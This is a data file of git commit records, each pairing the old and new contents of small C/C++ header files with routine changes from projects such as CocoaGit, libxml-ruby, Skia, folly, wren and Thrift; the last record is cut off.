{"commit":"3dbd3e6015ae8e703633e1a362d05561dbde2566","old_file":"NSTimeZone+Offset.h","new_file":"NSTimeZone+Offset.h","old_contents":"\/\/\n\/\/  NSTimeZone+Offset.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 28\/07\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface NSTimeZone (Offset)\n\n+ (id)timeZoneWithStringOffset:(NSString*)offset;\n- (NSString*)offsetString;\n@end\n","new_contents":"\/\/\n\/\/  NSTimeZone+Offset.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 28\/07\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Foundation\/NSTimeZone.h>\n\n@interface NSTimeZone (Offset)\n\n+ (id)timeZoneWithStringOffset:(NSString*)offset;\n- (NSString*)offsetString;\n@end\n","subject":"Change NSTimeZone category to only import NSTimeZone parent class instead of Cocoa","message":"Change NSTimeZone category to only import NSTimeZone parent class instead of Cocoa\n","lang":"C","license":"mit","repos":"schacon\/cocoagit,schacon\/cocoagit,geoffgarside\/cocoagit,geoffgarside\/cocoagit"}
{"commit":"33e7f990e453efe202dde60ce3a2cb8609266a39","old_file":"src\/parse\/scanner.h","new_file":"src\/parse\/scanner.h","old_contents":"#ifndef SCANNER_H_\n#define SCANNER_H_\n\n\/\/ I want to remove this dependecy, equivalent to yy.tab.h ?\n#include \"parse\/GENERATED\/parser.hxx\"\n\n\n#undef yyFlexLexer \/\/ ugly hack, because <FlexLexer> is wonky\n#include <FlexLexer.h>\n\n#include <iostream>\n\n\/\/ Tell flex how to define lexing fn\n#undef YY_DECL\n#define YY_DECL                                                                \\\n  int GENERATED::Scanner::lex(GENERATED::Parser::semantic_type *yylval,        \\\n                              GENERATED::Parser::location_type *yylloc)\n\nnamespace GENERATED {\nclass Scanner : public yyFlexLexer {\npublic:\n  explicit Scanner(std::istream *in = nullptr,\n                   std::ostream *out = nullptr);\n\n  int lex(GENERATED::Parser::semantic_type *yylval,\n          GENERATED::Parser::location_type *yylloc);\n};\n}\n\n#endif \/\/ include-guard\n","new_contents":"#ifndef SCANNER_H_\n#define SCANNER_H_\n\n\/\/ I want to remove this dependecy, equivalent to yy.tab.h ?\n#include \"parse\/GENERATED\/parser.hxx\"\n\n\n#undef yyFlexLexer \/\/ ugly hack, because <FlexLexer> is wonky\n#include <FlexLexer.h>\n\n#include <iostream>\n\n\/\/ Tell flex how to define lexing fn\n#undef YY_DECL\n#define YY_DECL                                                                \\\n  int GENERATED::Scanner::lex(GENERATED::Parser::semantic_type *yylval,        \\\n                              GENERATED::Parser::location_type *yylloc)\n\/\/ #define YY_DECL GENERATED::Parser::symbol_type GENERATED::Scanner::lex()\n\nnamespace GENERATED {\nclass Scanner : public yyFlexLexer {\npublic:\n  explicit Scanner(std::istream *in = nullptr, std::ostream *out = nullptr);\n  int lex(GENERATED::Parser::semantic_type *yylval,\n          GENERATED::Parser::location_type *yylloc);\n  \/\/ Parser::symbol_type lex();\n};\n}\n\n#endif \/\/ include-guard\n","subject":"Prepare for new lex interface","message":"Prepare for new lex interface\n","lang":"C","license":"mit","repos":"laokaplow\/tlc"}
{"commit":"d2a07eee4c8fcc05e495a7a42295af294834c1b6","old_file":"ext\/libxml\/ruby_xml_node.h","new_file":"ext\/libxml\/ruby_xml_node.h","old_contents":"\/* $Id$ *\/\n\n\/* Please see the LICENSE file for copyright and distribution information *\/\n\n#ifndef __RUBY_XML_NODE__\n#define __RUBY_XML_NODE__\n\nextern VALUE cXMLNode;\nextern VALUE eXMLNodeSetNamespace;\nextern VALUE eXMLNodeFailedModify;\nextern VALUE eXMLNodeUnknownType;\n\nVALUE\nruby_xml_node2_wrap(VALUE class, xmlNodePtr xnode);\n\nvoid ruby_xml_node_free(xmlNodePtr xnode);\nvoid ruby_xml_node_mark_common(xmlNodePtr xnode);\nvoid ruby_init_xml_node(void);\n\nVALUE check_string_or_symbol(VALUE val);\n\nVALUE ruby_xml_node_child_set(VALUE self, VALUE obj);\nVALUE ruby_xml_node_name_get(VALUE self);\nVALUE ruby_xml_node_property_get(VALUE self, VALUE key);\nVALUE ruby_xml_node_property_set(VALUE self, VALUE key, VALUE val);\n#endif\n","new_contents":"\/* $Id$ *\/\n\n\/* Please see the LICENSE file for copyright and distribution information *\/\n\n#ifndef __RUBY_XML_NODE__\n#define __RUBY_XML_NODE__\n\nextern VALUE cXMLNode;\nextern VALUE eXMLNodeSetNamespace;\nextern VALUE eXMLNodeFailedModify;\nextern VALUE eXMLNodeUnknownType;\n\nVALUE ruby_xml_node2_wrap(VALUE class, xmlNodePtr xnode);\nVALUE check_string_or_symbol(VALUE val);\n#endif\n","subject":"Clean out needless declarations in the node.h header file.","message":"Clean out needless declarations in the node.h header file.\n","lang":"C","license":"mit","repos":"increments\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,sferik\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,sferik\/libxml-ruby,sferik\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,xml4r\/libxml-ruby"}
{"commit":"2fcadfe262e7574183c6cd1af5dbde2901f92275","old_file":"test\/CodeGen\/debug-info-vector.c","new_file":"test\/CodeGen\/debug-info-vector.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -g %s -o - | FileCheck %s\ntypedef int v4si __attribute__((__vector_size__(16)));\n\nv4si a;\n\n\/\/ Test that we get an array type that's also a vector out of debug.\n\/\/ CHECK: [ DW_TAG_array_type ] [line 0, size 128, align 128, offset 0] [vector] [from int]\n","subject":"Add a test to make sure that vector output happens for debug info.","message":"Add a test to make sure that vector output happens for debug info.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@171834 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"f461284a46bf073de958c65df190adaa331d80d3","old_file":"testmud\/mud\/include\/game\/paths.h","new_file":"testmud\/mud\/include\/game\/paths.h","old_contents":"#include <config.h>\n\n#define LIB_BULK\t\t(USR_DIR + \"\/Game\/lib\/bulk\")\n#define LIB_TIME\t\t(USR_DIR + \"\/Game\/lib\/time\")\n#define GAME_LIB_OBJECT\t\t(USR_DIR + \"\/Game\/lib\/object\")\n\n#define BULKD\t\t\t(USR_DIR + \"\/Game\/sys\/bulkd\")\n#define SNOOPD\t\t\t(USR_DIR + \"\/Game\/sys\/snoopd\")\n#define TIMED\t\t\t(USR_DIR + \"\/Game\/sys\/timed\")\n#define GAME_INITD\t\t(USR_DIR + \"\/Game\/initd\")\n#define GAME_HELPD\t\t(USR_DIR + \"\/Game\/sys\/helpd\")\n#define GAME_DRIVER\t\t(USR_DIR + \"\/Game\/sys\/driver\")\n#define GAME_ROOT\t\t(USR_DIR + \"\/Game\/sys\/root\")\n#define GAME_SUBD\t\t(USR_DIR + \"\/Game\/sys\/subd\")\n#define GAME_TESTD\t\t(USR_DIR + \"\/Game\/sys\/testd\")\n","new_contents":"#include <config.h>\n\n#define LIB_ACTION\t\t(USR_DIR + \"\/Game\/lib\/action\")\n#define LIB_BULK\t\t(USR_DIR + \"\/Game\/lib\/bulk\")\n#define GAME_LIB_OBJECT\t\t(USR_DIR + \"\/Game\/lib\/object\")\n\n#define BULKD\t\t\t(USR_DIR + \"\/Game\/sys\/bulkd\")\n#define SNOOPD\t\t\t(USR_DIR + \"\/Game\/sys\/snoopd\")\n#define TIMED\t\t\t(USR_DIR + \"\/Game\/sys\/timed\")\n#define GAME_INITD\t\t(USR_DIR + \"\/Game\/initd\")\n#define GAME_HELPD\t\t(USR_DIR + \"\/Game\/sys\/helpd\")\n#define GAME_DRIVER\t\t(USR_DIR + \"\/Game\/sys\/driver\")\n#define GAME_ROOT\t\t(USR_DIR + \"\/Game\/sys\/root\")\n#define GAME_SUBD\t\t(USR_DIR + \"\/Game\/sys\/subd\")\n#define GAME_TESTD\t\t(USR_DIR + \"\/Game\/sys\/testd\")\n","subject":"Remove unwritten time library, add action library","message":"Remove unwritten time library, add action library\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"c7601bf508d348ccf30666254f762c8ee793c943","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 73\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 74\n#endif\n","subject":"Update Skia milestone to 74","message":"Update Skia milestone to 74\n\nBug: skia:\nChange-Id: Ief231cc48fd8a40bc10f21445884d599b27db799\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/186701\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,google\/skia"}
{"commit":"f48347635a849159f8733fcce1ee630d1cc34493","old_file":"folly\/detail\/Singleton.h","new_file":"folly\/detail\/Singleton.h","old_contents":"\/*\n * Copyright 2018-present Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <type_traits>\n\n#include <folly\/Traits.h>\n\nnamespace folly {\nnamespace detail {\n\nstruct DefaultTag {};\n\ntemplate <typename T>\nstruct DefaultMake {\n  struct Heap {\n    std::unique_ptr<T> ptr{std::make_unique<T>()};\n    \/* implicit *\/ operator T&() {\n      return *ptr;\n    }\n  };\n\n  using is_returnable = StrictDisjunction<\n      bool_constant<__cplusplus >= 201703ULL>,\n      std::is_copy_constructible<T>,\n      std::is_move_constructible<T>>;\n  using type = std::conditional_t<is_returnable::value, T, Heap>;\n\n  T make(std::true_type) const {\n    return T();\n  }\n  Heap make(std::false_type) const {\n    return Heap();\n  }\n\n  type operator()() const {\n    return make(is_returnable{});\n  }\n};\n\ntemplate <typename...>\nstruct TypeTuple {};\n\n} \/\/ namespace detail\n} \/\/ namespace folly\n","new_contents":"\/*\n * Copyright 2018-present Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <type_traits>\n\n#include <folly\/Traits.h>\n\nnamespace folly {\nnamespace detail {\n\nstruct DefaultTag {};\n\ntemplate <typename T>\nstruct DefaultMake {\n  struct Heap {\n    std::unique_ptr<T> ptr{std::make_unique<T>()};\n    \/* implicit *\/ operator T&() {\n      return *ptr;\n    }\n  };\n\n  using is_returnable = StrictDisjunction<\n      bool_constant<__cplusplus >= 201703ULL>,\n      std::is_copy_constructible<T>,\n      std::is_move_constructible<T>>;\n  using type = std::conditional_t<is_returnable::value, T, Heap>;\n\n  type operator()() const {\n    return type();\n  }\n};\n\ntemplate <typename...>\nstruct TypeTuple {};\n\n} \/\/ namespace detail\n} \/\/ namespace folly\n","subject":"Remove unnecessary verbosity in DefaultMake","message":"Remove unnecessary verbosity in DefaultMake\n\nSummary: [Folly] Remove unnecessary verbosity in `DefaultMake`. The shorter version does just as well.\n\nReviewed By: andriigrynenko\n\nDifferential Revision: D13254005\n\nfbshipit-source-id: 6520b813685a4621d8679b7feda24a1a0b75cfd5\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"46aaff03bcb8e5dd55a70eab7fb3aa50ef49b07a","old_file":"src\/wren_debug.h","new_file":"src\/wren_debug.h","old_contents":"\/\/\n\/\/  wren_debug.h\n\/\/  wren\n\/\/\n\/\/  Created by Bob Nystrom on 11\/29\/13.\n\/\/  Copyright (c) 2013 Bob Nystrom. All rights reserved.\n\/\/\n\n#ifndef wren_wren_debug_h\n#define wren_wren_debug_h\n\n#include \"wren_value.h\"\n#include \"wren_vm.h\"\n\nvoid wrenDebugPrintStackTrace(WrenVM* vm, ObjFiber* fiber);\nint wrenDebugPrintInstruction(WrenVM* vm, ObjFn* fn, int i);\nvoid wrenDebugPrintCode(WrenVM* vm, ObjFn* fn);\nvoid wrenDebugPrintStack(ObjFiber* fiber);\n\n#endif\n","new_contents":"#ifndef wren_debug_h\n#define wren_debug_h\n\n#include \"wren_value.h\"\n#include \"wren_vm.h\"\n\nvoid wrenDebugPrintStackTrace(WrenVM* vm, ObjFiber* fiber);\nint wrenDebugPrintInstruction(WrenVM* vm, ObjFn* fn, int i);\nvoid wrenDebugPrintCode(WrenVM* vm, ObjFn* fn);\nvoid wrenDebugPrintStack(ObjFiber* fiber);\n\n#endif\n","subject":"Clean up debug header preamble.","message":"Clean up debug header preamble.\n","lang":"C","license":"mit","repos":"Nelarius\/wren,Nelarius\/wren,Nave-Neel\/wren,munificent\/wren,Nave-Neel\/wren,Rohansi\/wren,foresterre\/wren,Nelarius\/wren,Nelarius\/wren,munificent\/wren,munificent\/wren,minirop\/wren,minirop\/wren,munificent\/wren,bigdimboom\/wren,bigdimboom\/wren,Nave-Neel\/wren,bigdimboom\/wren,Nave-Neel\/wren,Rohansi\/wren,minirop\/wren,foresterre\/wren,foresterre\/wren,foresterre\/wren,minirop\/wren,Rohansi\/wren,munificent\/wren,bigdimboom\/wren,foresterre\/wren,minirop\/wren,munificent\/wren,Nelarius\/wren,Rohansi\/wren"}
{"commit":"621ef4c87b34fe0e6f1f945192820f0f2e655205","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.53f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.54f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increment version number to 1.54","message":"Increment version number to 1.54\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,google\/UIforETW,google\/UIforETW,google\/UIforETW"}
{"commit":"613871d124370ab208ed89e467a91faadf15dc1f","old_file":"include\/NDS-controller.h","new_file":"include\/NDS-controller.h","old_contents":"","new_contents":"\/*\n * TODO add copyright notice and GPL licence thingey\n *\n *\n *\n *\/\n#include <nds.h>\n#include <stdio.h>\n#include <time.h>\n\n#include <dswifi9.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n\n#define EMULATOR 1 \/\/TODO automate flipping this in the makefile\n\n\/**\n * Interactively lists WiFi connections, allow the user to select one and connect.\n * Supports open connections and WEP secured ones.\n *\/\nint ManualConnect(PrintConsole *top_screen, PrintConsole *bot_screen);\n\/**\n * Connect using credentials in WFC bank.\n * Writes output to supplied terminal, acts silently if none is provided.\n *\/\nint WFCConnect(PrintConsole *console);\n\n\n\/**\n * Standard keyboard callback placeholder\n *\/\nvoid OnKeyPressed(int key);\n\n\/**\n * Entry point of the application\n *\/\nint main();\n","subject":"Split the main file into .c and .h files to make breaking it up later easier.","message":"Split the main file into .c and .h files to make breaking it up later easier.\n","lang":"C","license":"mit","repos":"Louisvh\/NDS-controller"}
{"commit":"0f3574df54fe9dc4e4d0a88a111f7787073af076","old_file":"Pod\/Classes\/DZVideoPlayerViewControllerConfiguration.h","new_file":"Pod\/Classes\/DZVideoPlayerViewControllerConfiguration.h","old_contents":"\/\/\n\/\/  DZVideoPlayerViewControllerConfiguration.h\n\/\/  Pods\n\/\/\n\/\/  Created by Denis Zamataev on 15\/07\/15.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface DZVideoPlayerViewControllerConfiguration : NSObject\n\n@property (assign, nonatomic) BOOL isBackgroundPlaybackEnabled; \/\/ defaults to NO\n@property (strong, nonatomic) NSMutableArray *viewsToHideOnIdle; \/\/ has topToolbarView and bottomToolbarView by default\n@property (assign, nonatomic) NSTimeInterval delayBeforeHidingViewsOnIdle; \/\/ defaults to 3 seconds\n@property (assign, nonatomic) BOOL isShowFullscreenExpandAndShrinkButtonsEnabled; \/\/ defaults to YES\n@property (assign, nonatomic) BOOL isHideControlsOnIdleEnabled; \/\/ defaults to YES\n\n@end\n","new_contents":"\/\/\n\/\/  DZVideoPlayerViewControllerConfiguration.h\n\/\/  Pods\n\/\/\n\/\/  Created by Denis Zamataev on 15\/07\/15.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface DZVideoPlayerViewControllerConfiguration : NSObject\n\n@property (assign, nonatomic) BOOL isBackgroundPlaybackEnabled; \/\/ defaults to YES\n@property (strong, nonatomic) NSMutableArray *viewsToHideOnIdle; \/\/ has topToolbarView and bottomToolbarView by default\n@property (assign, nonatomic) NSTimeInterval delayBeforeHidingViewsOnIdle; \/\/ defaults to 3 seconds\n@property (assign, nonatomic) BOOL isShowFullscreenExpandAndShrinkButtonsEnabled; \/\/ defaults to YES\n@property (assign, nonatomic) BOOL isHideControlsOnIdleEnabled; \/\/ defaults to YES\n\n@end\n","subject":"Fix wrong comment in configuration","message":"Fix wrong comment in configuration\n","lang":"C","license":"mit","repos":"MessuKilkain\/DZVideoPlayerViewController,MessuKilkain\/DZVideoPlayerViewController,MessuKilkain\/DZVideoPlayerViewController"}
{"commit":"32007a555cc2d10207e65a163f6ab809534d47e4","old_file":"compiler\/cpp\/src\/parse\/t_enum.h","new_file":"compiler\/cpp\/src\/parse\/t_enum.h","old_contents":"\/\/ Copyright (c) 2006- Facebook\n\/\/ Distributed under the Thrift Software License\n\/\/\n\/\/ See accompanying file LICENSE or visit the Thrift site at:\n\/\/ http:\/\/developers.facebook.com\/thrift\/\n\n#ifndef T_ENUM_H\n#define T_ENUM_H\n\n#include \"t_enum_value.h\"\n#include <vector>\n\n\/**\n * An enumerated type. A list of constant objects with a name for the type.\n *\n * @author Mark Slee <mcslee@facebook.com>\n *\/\nclass t_enum : public t_type {\n public:\n  t_enum(t_program* program) :\n    t_type(program) {}\n\n  void set_name(std::string name) {\n    name_ = name;\n  }\n  \n  void append(t_enum_value* constant) {\n    constants_.push_back(constant);\n  }\n\n  const std::vector<t_enum_value*>& get_constants() {\n    return constants_;\n  }\n\n  bool is_enum() const {\n    return true;\n  }\n\n  virtual std::string get_fingerprint_material() const {\n    return \"enum\";\n  }\n\n private:\n  std::vector<t_enum_value*> constants_;\n};\n\n#endif\n","new_contents":"\/\/ Copyright (c) 2006- Facebook\n\/\/ Distributed under the Thrift Software License\n\/\/\n\/\/ See accompanying file LICENSE or visit the Thrift site at:\n\/\/ http:\/\/developers.facebook.com\/thrift\/\n\n#ifndef T_ENUM_H\n#define T_ENUM_H\n\n#include \"t_enum_value.h\"\n#include <vector>\n\n\/**\n * An enumerated type. A list of constant objects with a name for the type.\n *\n * @author Mark Slee <mcslee@facebook.com>\n *\/\nclass t_enum : public t_type {\n public:\n  t_enum(t_program* program) :\n    t_type(program) {}\n\n  void set_name(const std::string& name) {\n    name_ = name;\n  }\n\n  void append(t_enum_value* constant) {\n    constants_.push_back(constant);\n  }\n\n  const std::vector<t_enum_value*>& get_constants() {\n    return constants_;\n  }\n\n  bool is_enum() const {\n    return true;\n  }\n\n  virtual std::string get_fingerprint_material() const {\n    return \"enum\";\n  }\n\n private:\n  std::vector<t_enum_value*> constants_;\n};\n\n#endif\n","subject":"Fix set_name compiler method signature","message":"Fix set_name compiler method signature\n\nReviewed By: kholst\n\nOther Notes: Follow up from 78130\n\n\ngit-svn-id: 8d8e29b1fb681c884914062b88f3633e3a187774@665434 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"JoeEnnever\/thrift,authbox-lib\/thrift,ijuma\/thrift,collinmsn\/thrift,authbox-lib\/thrift,creker\/thrift,3013216027\/thrift,afds\/thrift,alfredtofu\/thrift,Jimdo\/thrift,msonnabaum\/thrift,theopolis\/thrift,i\/thrift,flandr\/thrift,selaselah\/thrift,Jimdo\/thrift,prathik\/thrift,bufferoverflow\/thrift,tanmaykm\/thrift,fernandobt8\/thrift,wfxiang08\/thrift,huahang\/thrift,ykwd\/thrift,chenbaihu\/thrift,Jens-G\/thrift,tanmaykm\/thrift,SirWellington\/thrift,lion117\/lib-thrift,ijuma\/thrift,zzmp\/thrift,zhaorui1\/thrift,pinterest\/thrift,spicavigo\/thrift,siemens\/thrift,mway08\/thrift,windofthesky\/thrift,windofthesky\/thrift,jeking3\/thrift,strava\/thrift,bmiklautz\/thrift,zzmp\/thrift,vashstorm\/thrift,siemens\/thrift,springheeledjak\/thrift,bufferoverflow\/thrift,jeking3\/thrift,springheeledjak\/thrift,bforbis\/thrift,dongjiaqiang\/thrift,NOMORECOFFEE\/thrift,terminalcloud\/thrift,msonnabaum\/thrift,SuperAwesomeLTD\/thrift,nsuke\/thrift,dtmuller\/thrift,evanweible-wf\/thrift,creker\/thrift,gadLinux\/thrift,markerickson-wf\/thrift,afds\/thrift,gadLinux\/thrift,yongju-hong\/thrift,dcelasun\/thrift,RobberPhex\/thrift,creker\/thrift,jeking3\/thrift,dongjiaqiang\/thrift,rewardStyle\/apache.thrift,adamvduke\/thrift-adamd,crisish\/thrift,edvakf\/thrift,bitfinder\/thrift,Fitbit\/thrift,ochinchina\/thrift,afds\/thrift,guodongxiaren\/thrift,authbox-lib\/thrift,msonnabaum\/thrift,jackscott\/thrift,ahnqirage\/thrift,windofthesky\/thrift,theopolis\/thrift,i\/thrift,wfxiang08\/thrift,EasonYi\/thrift,markerickson-wf\/thrift,Fitbit\/thrift,gadLinux\/thrift,Sean-Der\/thrift,reTXT\/thrift,BluechipSystems\/thrift,zhaorui1\/thrift,Pertino\/thrift,jeking3\/thrift,terminalcloud\/thrift,bufferoverflow\/thrift,timse\/thrift,vashstorm\/thrift,koofr\/thrift,msonnabaum\/thrift,prathik\/thrift,Jens-G\/thrift,dcelasun\/thrift,ijuma\/thrift,BluechipSystems\/thrift,flandr\/thrift,hcorg\/thrift,strava\/thrift,flamholz\/thrift,ykwd\/thrift,eonezhang\/thrift,yongju-hong\/thrift,zhaorui1\/thrift,roshan\/thrift,bufferoverflow\/thrift,akshaydeo\/thrift,bgould\/thrift,bgould\/thrift,rewardStyle\/apache.thrift,3013216027\/thrift,bforbis\/thrift,SirWellington\/thrift,msonnabaum\/thrift,roshan\/thrift,mindcandy\/thrift,reTXT\/thrift,koofr\/thrift,bholbrook73\/thrift,prashantv\/thrift,jfarrell\/thrift,jeking3\/thrift,windofthesky\/thrift,dcelasun\/thrift,bgould\/thrift,rewardStyle\/apache.thrift,jackscott\/thrift,jeking3\/thrift,jfarrell\/thrift,bmiklautz\/thrift,x1957\/thrift,chenbaihu\/thrift,rmhartog\/thrift,prashantv\/thrift,EasonYi\/thrift,Jimdo\/thrift,upfluence\/thrift,NOMORECOFFEE\/thrift,pinterest\/thrift,timse\/thrift,fernandobt8\/thrift,guodongxiaren\/thrift,flamholz\/thrift,rewardStyle\/apache.thrift,ahnqirage\/thrift,collinmsn\/thrift,roshan\/thrift,lion117\/lib-thrift,dwnld\/thrift,akshaydeo\/thrift,wfxiang08\/thrift,weweadsl\/thrift,weweadsl\/thrift,chenbaihu\/thrift,SuperAwesomeLTD\/thrift,jfarrell\/thrift,RobberPhex\/thrift,authbox-lib\/thrift,i\/thrift,reTXT\/thrift,crisish\/thrift,NOMORECOFFEE\/thrift,mindcandy\/thrift,tanmaykm\/thrift,chentao\/thrift,vashstorm\/thrift,gadLinux\/thrift,Fitbit\/thrift,RobberPhex\/thrift,jfarrell\/thrift,chentao\/thrift,chentao\/thrift,mway08\/thrift,theopolis\/thrift,terminalcloud\/thrift,prathik\/thrift,bmiklautz\/thrift,3013216027\/thrift,chenbaihu\/thrift,bgould\/thrift,markerickson-wf\/thrift,bgould\/thrift,strava\/thrift,apache\/thrift,jpgneves\/thrift,EasonYi\/thrift,ykwd\/thrift,nsuke\/thrift,lion117\/lib-thrift,wfxiang08\/thrift,apache\/thrift,BluechipSystems\/thrift,prashantv\/thrift,Jens-G\/thrift,crisish\/thrift,dsturnbull\/thrift,msonnabaum\/thrift,Fitbit\/thrift,evanweible-wf\/thrift,zzmp\/thrift,elloray\/thrift,afds\/thrift,timse\/thrift,hcorg\/thrift,springheeledjak\/thrift,RobberPhex\/thrift,koofr\/thrift,haruwo\/thrift-with-java-annotation-support,pinterest\/thrift,JoeEnnever\/thrift,tanmaykm\/thrift,strava\/thrift,Pertino\/thrift,elloray\/thrift,bforbis\/thrift,springheeledjak\/thrift,fernandobt8\/thrift,dwnld\/thrift,flandr\/thrift,i\/thrift,tanmaykm\/thrift,adamvduke\/thrift-adamd,ahnqirage\/thrift,bitemyapp\/thrift,tylertreat\/thrift,gadLinux\/thrift,RobberPhex\/thrift,bmiklautz\/thrift,bufferoverflow\/thrift,Pertino\/thrift,siemens\/thrift,nsuke\/thrift,project-zerus\/thrift,bitfinder\/thrift,cjmay\/thrift,dtmuller\/thrift,jeking3\/thrift,siemens\/thrift,zhaorui1\/thrift,Jens-G\/thrift,Sean-Der\/thrift,SentientTechnologies\/thrift,wfxiang08\/thrift,dwnld\/thrift,pinterest\/thrift,jackscott\/thrift,Fitbit\/thrift,elloray\/thrift,vashstorm\/thrift,creker\/thrift,pinterest\/thrift,Jens-G\/thrift,apache\/thrift,mway08\/thrift,koofr\/thrift,apache\/thrift,theopolis\/thrift,bitfinder\/thrift,theopolis\/thrift,BluechipSystems\/thrift,roshan\/thrift,project-zerus\/thrift,x1957\/thrift,msonnabaum\/thrift,jfarrell\/thrift,springheeledjak\/thrift,NOMORECOFFEE\/thrift,windofthesky\/thrift,tylertreat\/thrift,nsuke\/thrift,terminalcloud\/thrift,haruwo\/thrift-with-java-annotation-support,Jens-G\/thrift,NOMORECOFFEE\/thrift,bforbis\/thrift,jpgneves\/thrift,wingedkiwi\/thrift,Jens-G\/thrift,msonnabaum\/thrift,markerickson-wf\/thrift,joshuabezaleel\/thrift,zzmp\/thrift,timse\/thrift,lion117\/lib-thrift,roshan\/thrift,terminalcloud\/thrift,hcorg\/thrift,theopolis\/thrift,jackscott\/thrift,hcorg\/thrift,dtmuller\/thrift,jpgneves\/thrift,tylertreat\/thrift,guodongxiaren\/thrift,rewardStyle\/apache.thrift,3013216027\/thrift,alfredtofu\/thrift,pinterest\/thrift,SuperAwesomeLTD\/thrift,Blu